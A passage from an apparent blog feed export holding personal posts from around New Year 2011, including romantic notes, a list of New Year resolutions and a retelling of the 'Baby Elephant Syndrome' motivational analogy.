   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_ikrmaHIoTiA/TRoxel-yjpI/AAAAAAAAAII/-yrZ4FEglFo/s1600/72456_1437359334191_1239228989_31035175_8088581_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://4.bp.blogspot.com/_ikrmaHIoTiA/TRoxel-yjpI/AAAAAAAAAII/-yrZ4FEglFo/s200/72456_1437359334191_1239228989_31035175_8088581_n.jpg&quot; width=&quot;150&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;The girl with the &lt;s&gt;white&lt;/s&gt; black scarf,&lt;br /&gt;&lt;br /&gt;I know you’ll be reading this.&lt;br /&gt;&lt;br /&gt;I’m telling you, my past is the past. I have moved far away from them.&lt;br /&gt;&lt;br /&gt;Trust me.&lt;br /&gt;&lt;br /&gt;At least, try. I know, it’s gonna be difficult. Hang on there.&lt;br /&gt;&lt;br /&gt;You know me better than anyone right now, I’m sure of that :)&lt;br /&gt;&lt;br /&gt;and thanks. I’ll give you more. Promise.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Babe</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/09/Babe/"/>
   <updated>2011-01-09T15:19:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/09/Babe</id>
   <content type="html">&lt;p&gt;I meant every love and every miss.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>No word</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/05/No-word/"/>
   <updated>2011-01-05T17:59:20+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/05/No-word</id>
   <content type="html">&lt;p&gt;She cried when she felt like I don’t trust her after all.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It hurts, when I do so much.&lt;br /&gt;&lt;br /&gt;Do you know, you make me feel like my past is just…..simply the past.&lt;br /&gt;&lt;br /&gt;While the present is just unbelievable.&lt;br /&gt;&lt;br /&gt;And the future? :-)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>New year</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/01/New-year/"/>
   <updated>2011-01-01T23:34:56+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/01/New-year</id>
   <content type="html">&lt;p&gt;….and the hated New Year Resolutions :)&lt;br /&gt;&lt;br /&gt;I had this silly argument with one of my close friend the other day (silly, since it brings us to actually nowhere) about why would people be making new year resolutions. Well, my friend hate it. To him, it brings no good. To him, you just f*cking walk the talks. Actions speak louder than words. Well done is better than well said. &lt;i&gt;Et cetera. &lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;I didn’t say he was wrong.&lt;br /&gt;&lt;br /&gt;&amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/_ikrmaHIoTiA/TR-4MTURULI/AAAAAAAAAIU/yX1k14HATmw/s1600/168538_498066814016_756444016_6126211_1708330_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;170&quot; src=&quot;http://4.bp.blogspot.com/_ikrmaHIoTiA/TR-4MTURULI/AAAAAAAAAIU/yX1k14HATmw/s200/168538_498066814016_756444016_6126211_1708330_n.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;To celebrate is to have fun&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;I couldn’t be wrong to say many people failed to keep their resolutions last year. And also the year before and the years before. &lt;i&gt;Hehe&lt;/i&gt;. But on the other side of the coin, there should be many people who actually accomplished just about everything they had on their list. So, I ask myself, why being pessimistic?&lt;br /&gt;&lt;br /&gt;And then, people asked, why would you need to wait until the 1st of Jan to do something, or to stop doing something? Well you don’t have too!&lt;br /&gt;&lt;br /&gt;Having a list of your new year resolutions doesn’t mean you have to justify yourself to anyone why do you wanna have one, why you failed to keep the previous year’s, why not putting something else on the list and so forth. Why bother? No one actually really care, really! Nevertheless, putting a “be a top scorer in every subject” on the list without actually touching the books doesn’t make any sense at all, does it?&lt;br /&gt;&lt;br /&gt;The idea is (okay, my idea, actually) is to keep it simple, to keep it do-able, to keep it specific and to have fun, enjoyable. I never made a single list of new year resolutions ever in my life before and this year, I beg to differ. I guess my number one new year resolution is already concluded! - making the list.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Raf&apos;s NYR&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. &lt;s&gt;Make a list&lt;/s&gt;. Done (yeay me! :P)&lt;br /&gt;&lt;br /&gt;2. Losing some more weight, hopefully about 70kg or less. Currently at 73kg. (See, that’s so do-able!)&lt;br /&gt;&lt;br /&gt;3. Fasting for at least twice per month. InsyaAllah&lt;br /&gt;&lt;br /&gt;4. Getting a CGPA of 3.5 or more (currently at 3.3) And getting her a 3.2 or more. &lt;i&gt;Dudette, embrace the free tuitions!&lt;/i&gt; :P&lt;br /&gt;&lt;br /&gt;5. Paying at least half of my debts that I owe to my friends using my own pocket money. I have the list. Basketballs and all, I could’t resist the temptations to join the tourneys and most of the time, friends didn’t mind paying for me first. What a life, kan?&lt;br /&gt;&lt;br /&gt;6. Writing at least twice per month, with or without a pc. Hehe&lt;br /&gt;&lt;br /&gt;7. Remembering all my lovely sisters’s, brother’s, mom’s and dad’s birthday. I’m never good with numbers, really.&lt;br /&gt;&lt;br /&gt;8. Running a marathon!&lt;br /&gt;&lt;br /&gt;9. Donating blood at least one! The red book is so empty!&lt;br /&gt;&lt;br /&gt;10. Have a game where I score 20 points or more.&lt;br /&gt;&lt;br /&gt;Okay, no 10 is the least do-able of all but it’s still not impossible. One teh tarik if I cross it off the list. Any takers?&lt;br /&gt;&lt;br /&gt;P/S : I’m just kidding with no 1 Hahaha. Happy new year. God bless us all with happiness in this life and hereafter.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Love</title>
   <link href="https://www.instagram.com/zeroquitgenes//2011/01/01/Love/"/>
   <updated>2011-01-01T06:33:32+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2011/01/01/Love</id>
   <content type="html">&lt;p&gt;When you’re not looking for one, there it is&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&amp;lt;iframe allowfullscreen=&apos;allowfullscreen&apos; webkitallowfullscreen=&apos;webkitallowfullscreen&apos; mozallowfullscreen=&apos;mozallowfullscreen&apos; width=&apos;320&apos; height=&apos;266&apos; src=&apos;https://www.youtube.com/embed/MDa3fo12ZKY?feature=player_embedded&apos; frameborder=&apos;0&apos; /&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;Kenapa - Daus&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;P/S : 1 dedicated  :P&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The Baby Elephant Syndrome</title>
   <link href="https://www.instagram.com/zeroquitgenes//2010/12/31/The-Baby-Elephant-Syndrome/"/>
   <updated>2010-12-31T14:34:59+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2010/12/31/The-Baby-Elephant-Syndrome</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/_ikrmaHIoTiA/TR3pA9dTn7I/AAAAAAAAAIM/f--ypMUDhw8/s1600/41X2A7AEKFL._SL500_AA280_.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;140&quot; src=&quot;http://1.bp.blogspot.com/_ikrmaHIoTiA/TR3pA9dTn7I/AAAAAAAAAIM/f--ypMUDhw8/s1600/41X2A7AEKFL._SL500_AA280_.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;cute baby elephant syndrome&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;Hi, here’s a quick one.&lt;br /&gt;&lt;br /&gt;I need to start doing my assignments and catching up to my studies. I just hate it when I spent too much time on having dinner with my guys. No offence, but it’s kinda waste of time sometimes. 2 hours for dinner every night, sigh…there are truckloads of works to do..&lt;br /&gt;&lt;br /&gt;Anyway, have u guys heard about “baby elephant syndrome”? My Electronics 2 lecturer, Dr. Marinah brought it up this morning in her lecture. Quite a good thing to share :) So, have u guys heard about it?&lt;br /&gt;&lt;br /&gt;No? lemme explain.&lt;br /&gt;&lt;br /&gt;Imagine a circus, the usual fun fare we have around. In there, lived a baby elephant. This baby elephant has been living in captivity since it was born. During the captivity, it is tied to a small tree with a thin rope every night. Due to its nature to roam free, instinctively the baby elephant tried with all its might to break the rope but it wasn’t strong enough at the time to do so. For years it tried and tried until at some point, it realized its efforts are of no use and it finally gave up and stopped struggling. After that point, the baby elephant never tried again for the rest of its life.&lt;br /&gt;&lt;br /&gt;Years later when it grew bigger, it was still tied to the same small tree with the same thin rope. It could easily free itself by uprooting the tree or breaking the rope but because its mind has been fully conditioned by its prior experiences, it never made the slightest attempt.&lt;br /&gt;&lt;br /&gt;Poorly, the powerful gigantic elephant has limited its own present abilities based on its thought on its limitation of the past - the Baby Elephant Syndrome.&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: left;&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/_ikrmaHIoTiA/TR3pmyZbuwI/AAAAAAAAAIQ/rxbBL5wwkzs/s1600/Positive+Attitude_100109a.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;140&quot; src=&quot;http://3.bp.blogspot.com/_ikrmaHIoTiA/TR3pmyZbuwI/AAAAAAAAAIQ/rxbBL5wwkzs/s1600/Positive+Attitude_100109a.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&amp;gt;yes yes yes&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;We, as human can be exposed to the same condition except for one thing - we could choose to re-discover our own abilities and believe in ourself and break free from our thoughts on the limitation of the past. Be honest to yourself, when we put our mind into it, there are many things we might have wished to do in the past but at that time, we were limited by external factors of some kind. We stumble into things in daily life and for a few seconds, we wanted to do something. Seconds later, comes the thought “…I can’t do this because in the past..” - you realize you have been in the similar situation in the past. That’s it.&lt;br /&gt;&lt;br /&gt;Now that you have heard about the Baby Elephant Syndrome, take some time to find out your list of reasons why you are not having or doing what you want.&lt;br /&gt;&lt;br /&gt;Are any of them merely excuses rather than legitimate reasons?&lt;br /&gt;Is any of them just an elephant rope holding you back?&lt;br /&gt;&lt;br /&gt;P/S : It’s an analogy used by Dr. Marinah to persuade us to realize that Electronics subject wasn’t that difficult. That’s true. It is not naturally difficult, you see. But, when we don’t study…&lt;/p&gt;
</content>
 </entry>
 

</feed>
